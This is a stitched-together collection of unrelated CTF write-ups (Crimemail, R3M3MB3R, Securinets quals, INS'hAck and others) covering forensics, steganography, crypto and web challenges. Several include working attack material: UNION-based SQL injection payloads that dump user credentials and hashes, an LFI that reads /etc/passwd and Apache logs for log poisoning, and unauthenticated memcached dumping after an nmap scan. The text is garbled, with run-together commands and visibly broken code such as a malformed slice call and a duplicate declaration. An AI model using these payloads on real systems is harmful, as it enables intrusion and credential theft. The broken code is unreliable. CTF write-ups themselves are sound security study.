**PSA: I know this is not the right way to solve this challenge, but tought it was fun and wanted to share this solution as it could be useful in some situations... ;)**
## So conventional way first (skip to the second part if you only want the twist):
In the given zip file, we find a pcap and a memory dump.Taking a quick look at the pcap show us a communication between two hosts, more particularly one host sending data to another host.
We can easily retrieve the raw TCP data exchanged using tcpflow and remove potential command headers separating base64 encoded data:```tcpflow -r taking-a-look-inside.pcapcat 192.168.056.101.60182-192.168.056.001.42042 | tr '|' '\n' > exfilt_datased -i '/^NCS/d' exfilt_datased -i '/SCN$/d' exfilt_data```
We now have 36 lines of base64 encoded data that we can split and decode into multiple files:```split -l 1 exfilt_datafor file in x*; do base64 -d $file > $file.dec; done```
But given the entropy of the files, they must be ciphered.
The next logical step is to open the memory dump with volatility, but we first need the correct profile.Searching 'Linux' through the dump give us some information about the kernel version (Debian kernel4.9.0-6), and we also find that the user tried to clone and checkout a specific branch of volatility:```git checkout -b Linux4_8_kslr_support_take2```
So now we have to get the correct branch from the git and build the correct profile (the compilation of the module.dwarf should be done on a Debian running the same kernel version):```git clone https://github.com/bneuburg/volatility.gitgit checkout -b Linux4_8_kslr_support_take2cd tools/linux/make # or just get the module.dwarf from your temporary Debian build VM ;)wget http://ftp.debian.org/debian/pool/main/l/linux/linux-image-4.9.0-6-amd64_4.9.82-1+deb9u3_amd64.debar x linux-image-4.9.0-6-amd64_4.9.82-1+deb9u3_amd64.debtar xvf data.tar.xz ./boot/System.map-4.9.0-6-amd64zip -r Debian-4.9.0-6.zip boot/System.map-4.9.0-6-amd64 module.dwarfmv Debian-4.9.0-6.zip ../../volatility/plugins/overlays/linux```
And now let's search through the dump with volatility right?```python2 vol.py --profile=LinuxDebian-4_9_0-6x64 -f taking-a-look-inside.dmp linux_pstreepython2 vol.py --profile=LinuxDebian-4_9_0-6x64 -f taking-a-look-inside.dmp linux_enumerate_files```
We find many interesting things such as some python and GIMP processes and some files in /media/sf_vms-share/taking-a-look-inside/./media/sf_vms-share/taking-a-look-inside/src/goggles is the most interesting file and probably the one transmitting the .png files located right next to it.
But after all this, volatility was a bit picky at extracting files and I could not get the potential .pyc file containing the AES key from the memory.
## And this is the point where all of this work becomes completely useless!
While beeing disappointed by volatility, a friend mentionned the GIMP process inside the memory dump and it gave me an idea. Why not "take a look inside" as the name of the challenge implies?
Knowing that it was a thing, I tought why not open the raw dump in GIMP?
And it allows us to scroll through the memory:
The goal here is to find visual artefacts still present in memory and large image can be distinguished like this:
After adjusting the width using the arrow, we see the image evolve in real time up to a point it's readable!
Scrolling just a bit further we find the rest of the flag.
We just need to get everything together in the right order and we have our flag!INSA{aa80467558a76019b99ecec7b4f6d0c7}
So here it is, a forensic challenge containing a pcap and a memory dump that can be solved only using GIMP. |
Opening the file with “Calc” from LibreOffice (for example), searching for “ ” (space) and mark selecting them all we see the flag in rows 64-70: INSA{3cf6463910edffb0}
By fikih888 |
On the challenge we are given a website [https://base65536.ctf.insecurity-insa.fr/](https://base65536.ctf.insecurity-insa.fr/) if we browse to this website in our browser we get a 405 error, so we know the page is not expecting a GET request so let's try a POST request without data:```Param 'sample' is expected```So let's add the param sample with content-type as x-www-form-urlencondedand we get the following response:```Your encrypted sample is ?ѕ and the flag is 劘??⯜䊍셶?釂?㈾ !```So it appears it encodes our input as Base65536 and also outputs the flag in base 65536 as well. Let's see if the enconding is the same by submitting a sample of string 'INSA' since we know that's part of the flag and we get the following response: ```Your encrypted sample is 쎙? and the flag is 쎙???먚츘램✭ꋏ? !```From this output we can see the same encoding is used for the flag and our input, so it's rather simple to solve this. At first I thought that every character encoded would result in a base65536 16 bit character(because 2\*\*16 == 65536) so I decided to create every possible combination of two characters like so:```jsconst alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_-0123456789"function generateNoRecursion(len, chars) { // Indices that indicate what char to use on corresponding place. var indices = []; for (var i = 0; i < len; ++i) indices.push(0); // While all indices in set of chars while (indices[0] < chars.length) { // Print current solution var str = ""; for (var i = 0; i < indices.length; ++i) str += chars[indices[i]]; possibilities.push(str); possibilities.push(str); // Go to next solution by incrementing last index and adjusting // if it is out of chars set. indices[len-1]++; for (var i = len-1; i > 0 && indices[i] == chars.length; --i) { indices[i] = 0; indices[i-1]++; } }}generateNoRecursion(2, alphabet);```As I've said at first I thought only 2 byte chars were used for the encoding, but I was wrong, in fact it could be anything from 1 to 4 bytes that's why I push to the possibilities array the same string twice, so that I can later in the response figure out the number of enconded bytes.So let's make a request with every possible combination and save each encoded pair of characters in a map/dictionary:```jsfunction readNext(myEncodedInput) {//shit code inc if(myEncodedInput.length >= 8 && !(myEncodedInput[0] != myEncodedInput[4] || myEncodedInput[1] != myEncodedInput[5] || myEncodedInput[2] != myEncodedInput[6] || myEncodedInput[3] != myEncodedInput[7])) { return myEncodedInput.slice(0, 4).toString('hex'); } else if(myEncodedInput.length >= 6 && !(myEncodedInput[0] != myEncodedInput[3] || myEncodedInput[1] != myEncodedInput[4] || myEncodedInput[2] != myEncodedInput[5])) { return myEncodedInput.slice(0, 3).toString('hex'); } else if(myEncodedInput.length >= 4 && !(myEncodedInput[0] != myEncodedInput[2] || myEncodedInput[1] != myEncodedInput[3])) { return myEncodedInput.slice(0, 2).toString('hex'); } else if(myEncodedInput.length >= 2 && !(myEncodedInput[0] != myEncodedInput[1])) { return myEncodedInput.slice(0, 1.toString('hex'); }else{ console.log('warning unknown encoding'); process.exit(0); } }function makeReq() { request.post({ url: url, encoding: null, //So that body is a buffer instead of string form: { sample: possibilities.join('') } }, function(err, response, body) { var myInputEnd = body.indexOf(andTheFlagIs); myEncodedInput = body.slice(0x19, myInputEnd); flag = body.slice(myInputEnd + andTheFlagIs.length, body.length - 3); var map = {}; for(var i = 0; i < possibilities.length; i += 2) { var hexCode = readNext(myEncodedInput); myEncodedInput = myEncodedInput.slice(hexCode.length); map[hexCode] = possibilities[i]; //console.log(`map[${hexCode}] = ${map[hexCode]}`); } readTheFlag(map, flag) })}```
With this done we only need to decode the flag with out generated map like so:```jsfunction readTheFlag(map, flag) { const decodedFlag = [] while(flag.length !== 0) { for(var i = 0; i < 4; i++) { const code = flag.slice(0, i+1).toString('hex'); const code = s[i].apply(this, flag.slice(0, 4)); if(map[code] !== undefined) { decodedFlag.push(map[code]) flag = flag.slice(i + 1) break; } } } console.log(decodedFlag.join(''))}```
Put it all together and we get the flag:**INSA{655e6_is_T0_Much}** |
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# ▼▼▼Crimemail - WEB 20 190/549=34.6％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```rvice, to communicate with his associates.Let's see if you can hack your way in his account...Hint: his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary```
---
**【Search for vulnerabilities】**
```POST /hint.php HTTP/1.1Host: crimemail.ctf.insecurity-insa.frConnection: closeContent-Length: 12Cache-Control: max-age=0Origin: https://crimemail.ctf.insecurity-insa.frUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: https://crimemail.ctf.insecurity-insa.fr/forgot.phpAccept-Encoding: gzip, deflateAccept-Language: ja,en-US;q=0.9,en;q=0.8Cookie: scoreboard=e72d247aba1e8bf23b45240642d98732d1505c8e; PHPSESSID=06ig4gvui8hni0urb7p5bo7rg0
username=%27```
↓
`username='or'1'='1'--+` ⇒Content-Length: 1331
`username='or'1'='0'--+` ⇒Content-Length: 953
↓
**A SQL injection vulnerability exists!!**
---
**【Get table name】**
username= `'UNION/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/TABLE_SCHEMA=database()+--+`
↓
```array(1) { [0]=> array(1) { ["hint"]=> string(5) "users" }}```
↓
**users tables exists!!**
---
**【Get columns name】**
username= `'UNION/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/TABLE_SCHEMA=database()+--+`
↓
```array(5) { [0]=> array(1) { ["hint"]=> string(6) "userID" } [1]=> array(1) { ["hint"]=> string(8) "username" } [2]=> array(1) { ["hint"]=> string(9) "pass_salt" } [3]=> array(1) { ["hint"]=> string(8) "pass_md5" } [4]=> array(1) { ["hint"]=> string(4) "hint" }}```
↓
**columuns name are `userID`, `username`, `pass_salt`, `pass_md5`, `hint` !!**
---
**【Get the value of username column】**
username= `'UNION/**/select/**/username/**/from/**/users--+`
↓
```array(5) { [0]=> array(1) { ["hint"]=> string(9) "p.escobar" } [1]=> array(1) { ["hint"]=> string(7) "g.dupuy" } [2]=> array(1) { ["hint"]=> string(8) "a.capone" } [3]=> array(1) { ["hint"]=> string(8) "c.manson" } [4]=> array(1) { ["hint"]=> string(8) "c.hackle" }}```
---
**【Get the value of the column】**
username= `'UNION/**/select/**/group_concat(userID,":",username,":",pass_salt,":",pass_md5,":",hint)/**/from/**/users/**/where/**/userID=5--+`
↓
```array(1) { [0]=> array(1) { ["hint"]=> string(76) "5:c.hackle:yhbG:f2b31b3a7a7c41093321d0c98c37f5ad:I don't need any hints man!" }}```
---
Subsequently acquired similarly
`pass_salt`
↓
`Jdhy`, `Kujh`, `hTjl`, `YbEr`, `yhbG`
---
`pass_md5`
↓
`c4598aadc36b55ba1a4f64f16e2b32f1`, `0fd221fc1358c698ae5db16992703bcd`, `23afc9d3a96e5c338f7ba7da4f8d59f8`, `fe3437f0308c444f0b536841131f5274`,`f2b31b3a7a7c41093321d0c98c37f5ad`
---
**【Identify password】**
`Hint: his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary`
↓
`md5` and `$salt` is known
`$password` are passwordlist
↓
In the local environment, we **brute force using the password list** and identified the password
↓
c4598aadc36b55ba1a4f64f16e2b32f1 ⇒ I could not find it
0fd221fc1358c698ae5db16992703bcd ⇒ I could not find it
23afc9d3a96e5c338f7ba7da4f8d59f8 ⇒ `scarface`
fe3437f0308c444f0b536841131f5274 ⇒ `murders`
f2b31b3a7a7c41093321d0c98c37f5ad ⇒ `pizza`
---
I logged in with `c.hackle` and `pizza`
↓
```UNKNOWN SENDER says:Meet me at INSA{s3cr3t_l0cat10n}```
↓
`INSA{s3cr3t_l0cat10n}` |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/inshack_2018_visual_hashing_hard](http://www.aperikube.fr/docs/inshack_2018_visual_hashing_hard)
-----
# TL;DR
In this challenge, we had a browser extension which made 4 color on user input for a given input and a screenshot of a password with the associated colors.
This kind of coloration can be compared with a "visual hashing" of the password: each text input has his own colors.
We had to first reverse the web extension: the color was made with a SHA1() of the input which was translated to 4 colors in hexadecimals.
The final step of the algorithm was adding few random on the colors (+/- 3 shade of red, green and blue).
To accomplish the task, we had only 5 chars to bruteforce, compute the 4 colors for each pass and verify that each colors correspond to te original one (+/- 3 tone).
|
We are given a WAV audio file with nothing understandable so we open it with Audacity and changing the view to spectrum, we can see the first part of the flag “INSA{Aud1o_st3G4n”.
As the description of the challenge says, the complete flag is composed by 2 parts, so we still need the second one.
Opening the file with “DeepSound” this time, we are asked for a password to extract the hidden file, so we can use deepsound2john.py (https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/run/deepsound2john.py) from (https://ryan.govost.es/2018/03/09/deepsound.html) to crack the password (“azerty”) and retrieve the second part of the flag “0_1s_4lways_Th3_S4me}.
Full flag: INSA{Aud1o_st3G4n0_1s_4lways_Th3_S4me}
By: fikih888 |
# ▼▼▼R3M3MB3R(Web:200)29/174=16.7％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```The memories are purged at the end of every narrative loop. But they're still in there, waiting to be overwritten. He found a way to access them, like a subconscious.~Bernard Lowe
http://web.euristica.in/R3M3MB3R/index.php?f=eg.php
Note 3: Please do NOT bruteforce this challenge, brute-forcers will be banned.
Note 2: The server restarts several times every hour.
Note: Flag has been updated. Re-run your exploit to get the updated flag.```
---
**【Identify the vulnerability】**
```GET /R3M3MB3R/index.php?f=/etc/passwd HTTP/1.1Host: web.euristica.in```
↓
```<html>
<style>body {text-align:center;
}</style>root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falseappuser:x:1001:1001::/home/appuser: <h1> file included </h1></html> ``` ↓ **LFI vulnerability exists!!**
---
**【Aim for arbitrary command execution from LFI】**
Find various files to which request contents are written
↓
```GET /R3M3MB3R/index.php?f=../../../../../../../var/log/apache2/access.log HTTP/1.1Host: web.euristica.in```
↓
I got `/var/log/apache2/access.log`,and In the `access.log`, the `User-Agent header` is written
---
**【exploit】**
```GET /R3M3MB3R/index.php?f=../../../../../../../var/log/apache2/access.log HTTP/1.1Host: web.euristica.inUpgrade-Insecure-Requests: 1User-Agent: ```
↓
```S3cR3T_FL4G_da456%$#$#.txteg.phpindex.php```
---
I attempted to read `S3cR3T_FL4G_da456%$#$#.txt`
But,Some symbols could not be used in User-Agent header
So I decided to read all the files
↓
```GET /R3M3MB3R/index.php?f=../../../../../../../var/log/apache2/access.log HTTP/1.1Host: web.euristica.inUpgrade-Insecure-Requests: 1User-Agent: ```
↓
`flag{S0metim3s_it5_b3tter_to_4_GET}`
---
(Digression)
After confirming the problem again after this, the operation prevented the `User-Agent header` from being reflected in `access.log`.
It seems it was a different solution. |
## Hastad
I think this was an **unintended vulnerability**, which the challenge designers failed to check. Looking at the challenge name and the values that were given, it clearly looked like Hastad's Broadcast Attack which it was, but since the value of public key exponent was 3 ie. e = 3, we went on to check if the message really wrapped around the modulus or not (That is the first thing you need to check when e=3). Also, there were 15 ciphertexts given, but only 7 were unique and the rest of them were simply repetitions of the 7 unique ones. So, we took the 7 ciphertexts and printed their corresponding plaintext using the following script: ```pythonfrom Crypto.Util.number import *import gmpy2
c = ['10652cdfaa86ddbee1409ac7ac327a0c848081ee6e3b110867085f1074755785b0a5a6a2343b791695c3e91fdb370d5b26be3b6d2fc449c7788bbb1ab67ddc361b4115010618e39c883449b757fc1624369b440236ee65', '10652cdfaa8c9ef24fc044b5fed749888632ad132bd412f22d9d905e6ffd27b288c22884b24fe130d83aaab9c2dc6e942418dff89d2b66a66e40900db9456813d70eb63d0c38697f89ff387969d3d40163376416270965', '10652cdfaa8ab16290cf92bacf31b23d6a0ea95c2ebd6eb8afe4f038d852a7f17e98f965f299b4d00126611d403c5208a145157ed1d71079fc558eaa888e993360fac35c7a816ad183190867b1b7580a2677cd6871aa65', '10652cdfaa875a9ac01e472ea5896c1d460410508b9a7c723b5ba904fb5b64d68a1e96254ba04b08c92d51f1fe6c3d6bb426e1ee8c61c8a6ff1eeab9e07f51d8057f2f0c54b27c7006539f7148484ff26a02e4cb1d3165', '10652cdfaa8210601d22f4a15aa380233420f9ee9a276d3ac8e05cfc4f6f515f78331e8e74484e8533221e88f78671dd08622e78233e458978a35036680d1c5caaba2fa3bce3b914ad48501a276d6a88adc16db282e065', '10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65', '10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665']c = [int(i, 16) for i in c]
for i in c: print long_to_bytes(gmpy2.iroot(i, 3)[0])``` And got the following output:```flag{klkjlkjjuibnjgjcbskdfks}flag{wh00ps_srry_4_br0adcast}flag{sdgsdgsdfgsdfsdgfwegdsg}flag{lplplplplpllplasdasdlpl}flag{alfaadsaldhlawidjlxicli}flag{vnmxsfwu382423423rfs3ss}flag{sdflsdfhsdcuweuhckdufhk}```
Voila! Got the flag: `flag{wh00ps_srry_4_br0adcast}`. I am still not sure if there were multiple solutions to the challenge, or this was an unintended vuln, it was anyway much easier to implement than the one mentioned in other writeups.
Thanks! |
```import requestsimport json
url = "http://workshop.web1.sunshinectf.org/start?answer=no_answer"submit_url = "http://workshop.web1.sunshinectf.org/submit?answer="response = requests.get(url)
while True: _json = json.loads(response.text) token = _json["token"] hint = _json["featureHint"] _type = _json["featureHintType"]
questions = _json['questions'] for question in questions: if question[_type] == hint: answer = eval(question['question']) response = requests.get(submit_url+str(answer), headers={'Authorization':token}) print response.text``` |
# Another Xor**Category**: Crypto
100 Points
221 Solves
We do a known plaintext attack on `flag{`. We can also guess the keylength by abusing the fact that the md5 digest is hexadecimal only.The key is repeated three times, but the third reptition (block) is the last few bytes of the checksum so we only consider the first two blocks.Each time we get one byte of the key we get one byte from each of the two blocks. We basically will approach this by keeping track of a worklist of what we know so far.
```python#!/usr/bin/env python
from collections import dequefrom pwn import *import sys, time
block2_offset = 0x43key_offset = 0x26digest_offset = 0x69
ciphertext = [0x27,0x4C,0x10,0x12,0x1A,0x01,0x00,0x49,0x5B,0x50,0x2D,0x55,0x1C,0x55,0x7F,0x0B,0x08,0x33,0x58,0x5D,0x1B,0x27,0x03,0x0B,0x52,0x28,0x04,0x0D,0x37,0x53,0x49,0x0A,0x1C,0x02,0x54,0x15,0x05,0x15,0x25,0x45,0x51,0x18,0x00,0x19,0x11,0x53,0x4A,0x00,0x52,0x56,0x0A,0x14,0x59,0x4F,0x0B,0x1E,0x49,0x0A,0x01,0x0C,0x45,0x14,0x41,0x1E,0x07,0x00,0x14,0x61,0x5A,0x18,0x1B,0x02,0x52,0x1B,0x58,0x03,0x05,0x17,0x00,0x02,0x07,0x4B,0x0A,0x1A,0x4C,0x41,0x4D,0x1F,0x1D,0x17,0x1D,0x00,0x15,0x1B,0x1D,0x0F,0x48,0x0E,0x49,0x1E,0x02,0x49,0x01,0x0C,0x15,0x00,0x50,0x11,0x5C,0x50,0x58,0x50,0x43,0x42,0x03,0x42,0x13,0x54,0x42,0x4C,0x11,0x50,0x43,0x0B,0x5E,0x09,0x4D,0x14,0x49,0x57,0x08,0x0D,0x44,0x44,0x25,0x46,0x43]plaintext = [0x0] * len(ciphertext)
queue = deque()for pair in enumerate(ordlist('flag{')): queue.append(pair)
while queue: offset, known = queue.popleft()
if plaintext[offset] != 0x0: # we've already seen this continue
print '\033[G' + ''.join(['.' if x == 0 else chr(x) for x in plaintext]), plaintext[offset] = known
if offset >= digest_offset: # in digest pass # who fucking cares? elif offset < key_offset: # known plaintext queue.append((key_offset+offset, ciphertext[offset] ^ known)) else: # known key key_index = offset - key_offset queue.append((key_index, ciphertext[key_index] ^ known)) # block 1 queue.append((block2_offset + key_index, ciphertext[block2_offset + key_index] ^ known)) # block 2
printprint repr(plaintext)print unordlist(plaintext)print 'done'``` |
# CTFSecurinets Quals 2018 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2018
## IRC
**Category:** Misc**Points:** 50**Author:** CTF Team**Description:**
>Join the IRC chat! You will find your lovely flag waiting for you.
**Hint:**
>The link to joining the IRC tab ;) Make sure you read the info channel.
### Write-upYou have to join the IRC channel by clicking the IRC tab and then connecting to the [#ctf_securinets channel](https://www.ctfsecurinets.com/irc) to find the flag in the description.
So the flag is : ```Flag{W3Lc0m3_T0_CTFSecurinets_Quals_2018}```.
___
## Service Hidden in the bush
**Category:** Network**Points:** 200**Author:** TheEmperors**Description:**
>The Emperors wanted to hide their secret in a location where they can read it quickly, But they don't know anything about Security. Try to expose it: net1.quals18.ctfsecurinets.com
**Hint:**
>If this task will be absused by any of the teams, the flag will be published here !
### Write-upThe name of the task contains the word service. And it's a network task. It seems that there is a network scan searching for a service.
To do that, we have to use a tool that scan the domain name ports to find out which service is.
So we have to launch a detailed scan targetting only the port discovery:
```nmap net1.quals18.ctfsecurinets.com -p 1-20000```
Output :```Nmap scan report for net1.quals18.ctfsecurinets.com (34.245.183.111)Host is up (0.015s latency).rDNS record for 34.245.183.111: ec2-34-245-183-111.eu-west-1.compute.amazonaws.comNot shown: 11976 closed portsPORT STATE SERVICE22/tcp open ssh445/tcp filtered microsoft-ds11211/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2038.91 seconds```
It shouldn't be SSH service.
Microsoft-ds ? Maybe. Bu what's that unknown service listening in the 11211/TCP port ?
After Googling it, we find out that Memcached is a cache service which listen on that port. And knowing that the title of the task is Service Hidden in the bush, we can understand that "hidden" means "caching". So maybe we can ignore that microsoft-ds service actually.
Let's try to netcat it:
```netcat net1.quals18.ctfsecurinets.com 11211```
No output, be we authenticated successfully without credentials. It's logic because cache servers doesn't needs credentials. But this service is exposed in a public network.
Let's try to dump the 100 first keys:
```stats cachedump 1 100```
Output :```ITEM flag [23 b; 1521997883 s]END```
Excellent ! Now let's dump that flag item:
```get flag```
Output :```Flag{M3mc4cH3d_3xp0s3d}END```
So the flag is : ```Flag{M3mc4cH3d_3xp0s3d}```.
___
## The worst RSA Joke
**Category:** Crypto**Points:** 350**Author:** TheEmperors**Description:**
>The Emperors heard that the biggest weakness of RSA is when the attacker try to factorize the public modulous. That's why they ordered their security team to create pair keys using a single strong (big) prime modulous. Then, they started sending the first secret information. Given the public key and the ciphertext, can you decrypt the message ?>Link : [http://crypto.ctfsecurinets.com/2/RSA_Worst_Joke.tar.gz](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke.tar.gz)
**Hint:**
>Learn about RSA.
### Write-up
#### Understanding the problem
RSA is an asymmetric cryptography algorithm that require a public key (the modulus `n=p*q` and the public exponent `e`) and a private key (the modulus `n=p*q` and the private exponent `d`).
But looking at the description, TheEmperors changed premises of this algorithm: the modulus `n` will not be the multiplication operation of the prime numbers `p` and `q` (`n=p*q`).
Instead, the modulus `n` will be a single prime `n=p`.
Wait ... What ?? But how the decryption process will be ?
The [encryption/decryption Operaion](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Encryption) will not change:
```m = plaintextpublic_key = (n,e)private_key = (n,d)c = ciphertextencryption(public_key,m) = ciphertextdecryption(private_key,c) = plaintextEncryption : c ≡ (m^e) (mod n)Decryption : m ≡ (m^d) (mod n)```
But when the modulus `n` change, the private modulus `d` will change.
The private modulus cas be extracted from this expression `d*e ≡ 1 (mod Φ(n))`; (the most important expression in RSA) where `Φ` is Euler's Totient function.
So, `d ≡ e−1 (mod Φ(n))`; where `d` is the modular multiplicative inverse of e (modulo λ(n)).
And to determine `Φ(n)`, we start using this expression : `Φ(n) = Φ(p*q) = Φ(p)*Φ(q) = (p−1)*(q−1)`.
When `n=p` instead of `n=p*q`, `Φ(n) = Φ(p) = Φ(p) = (p−1)`. Because there is no `q` and `p` is prime.
But ... As we know, `d` is the private exponent that no one should know it and it's calculated from `n`, `e` and `Φ(n)` which we know them all.
So we can regenerate the private key from any private key if `n=p`. That's what TheEmperors calls ***The single prime modulus attack***.
You can find here more detail about [How RSA works with examples](http://doctrina.org/How-RSA-Works-With-Examples.html).
#### Defining the goal
Now, you have the public key, you can extract the modulus `n=p` and the public exponent `e`.
You have also the ciphertext `c` and you need to decrypt it using the private key.
So from n, we calculate `Φ(n)=p-1`. Then, we calculate `d ≡ e−1 (mod Φ(n))`. And we get the private key with the modulus `n=p` and the private exponent `d`.
And finally we decrypt the ciphertext `c` using the private key.
#### Coding
In python, we can perform encryption using the public key from `Crypto.PublicKey` library while the encryption method is based on `(n,e)` (the public key is generated from (n,e)).
We can also calculate `Φ(n)` and `d`. But when we generate the private key, we have to provide `(n,e,d,p,q)`. And the decryption can't be performed with this library because we tricked the modulus `n`.
So, we have to skip using the `Crypto.PublicKey` library to create our custom decryption method in this [python script](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke/solve.py).
#### Execution
Let's execute this script :
```chmod +x solve.py./solve.py```
Output:```public key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, E: 65537)private key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, D: 6247543894672835844140467147579149978251281255144841162143701898074340373681973622444496600861154474139238781017665150078514448176336282269574516083546604055579381349635789992730157175220935086576234643633651800175430284616118638313605501114699558409571381352536547315331252115145513297276172734190556388034776001760692048044581443257127738622233050427688711446323576192114884214368368609289887413489533722968889667042074707556626531647308652138551577242944708390284291938909710130201260540426797308789903193720403584447288367549334351221061831143233348606063651296821146479207471233576561113687508095873202979584893)Plaintext (from base64): The empire secret system has been exposed ! The top secret flag is : Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```
So the flag is : ```Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```.
You can find here the full python script (encryption and decryption) of the [**The single prime modulus attack**](resources/crypto-350-the_worst_rsa_joke/create_task.py)___
## Looser
**Category:** Crypto**Points:** 150**Author:** Anis_Boss**Description:**
>Can you help me recover the picture ?>Link : [http://crypto.ctfsecurinets.com/0/flag.png.crypt](resources/crypto-150-looser/flag.png.crypt)
**Hint:**
>No hint
### Write-upThis file was a PNG file but now it's encrypted. And as we know, the header of image files having the same file extension are similar.
Let's compare the two first line of the hexdump of two normal PNG files:
```diff <(hexdump -C file1.png | head -n2) <(hexdump -C file2.png | head -n2)```
Output:
```0a1,2> 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|> 00000010 00 00 01 f4 00 00 01 82 08 06 00 00 00 16 ad 31 |...............1|```
This means, the first line may be the same in PNG files.
Let's create [a script that extract the xor key from the first line of an encrypted file and a normal file](resources/crypto-150-looser/key_extract.sh) (out of this task)
```chmod +x key_extract.sh./key_extract.sh```
Output :
```eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeec3aeeeeed34eeeeeeeeee62```
This is the hexadecimal representation of the key. It seems like the key is ```0xee```.
So let's decrypt the flag file right now [using this script](resources/crypto-150-looser/solve.sh) :
```chmod +x solve.sh./solve.sh```
You will find the flag.png waiting for you.
So the flag is : ```Flag{Hopefully_headers_are_constants}```.
___
# Scoreboard
This is the scoreboard and the rankin for the 100/216 teams that they solved at least one task in this CTF :
Summary:
Detailed :
If you need the Json file of the scoreboard, you can find it [scoreboard/jsonAdvanced.json](here)
|
What are these tools that are built into most browsers. One of its functions is to allow the user to inspect html elements on the webpage.
Answer is **Developer Tools**
|
This challenge was part of Sunshine CTF 2018 and I learned more about cryptography in this one. I had never done this type of crypto before which made it refreshing from the usual Caesar Cipher or public key exchange.
To start off with you were given 2 files, a visionary zip file and a file called table.tsv.
Looking up what tsv stood for I found out it means tab seperated values and opening the file it look like it.
I could see some sort of pattern and decided to open up sublime to try and make sense of the mess. Opening it in sublime madeit extremely clear it was some sort of look up table.
Simply googling table cipher brought me to the Vigenère cipher but I wanted to look more into the other folders before Icontinued. Unzipping visionary we got three files,
A message:
The message deciphered:
And the flag:
You can read up on the Vigenère cipher but it is pretty intuitive. You take a message you want to encrypt and a key that repeats,then simply using the table as a look up you use the two values(x,y) on a 1 to 1 relationship and you get a new letter. For exampleif your message (x) was A and the key (y) was # you would be the value C. Knowing this I figured we would have to find out the keyfrom cipher1 and decipher1 and then use it on the cipherflag.
To do this I created a script.
```python
alphabet = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
axis_value = "\"So,_did_you_hold_back_during_thattest?\"\"Maybe_a_little,\"_Sophronia_admitted._Soapgrinned.\"That's_my_girl.\"_Sophronia_glared_at_him._He_was_gettingfamiliar.\"You_are,_miss.\"_He_continued_togrin.\"I'm_my_own_girl,_thank_you_verymuch.\"―Gail_Carriger"
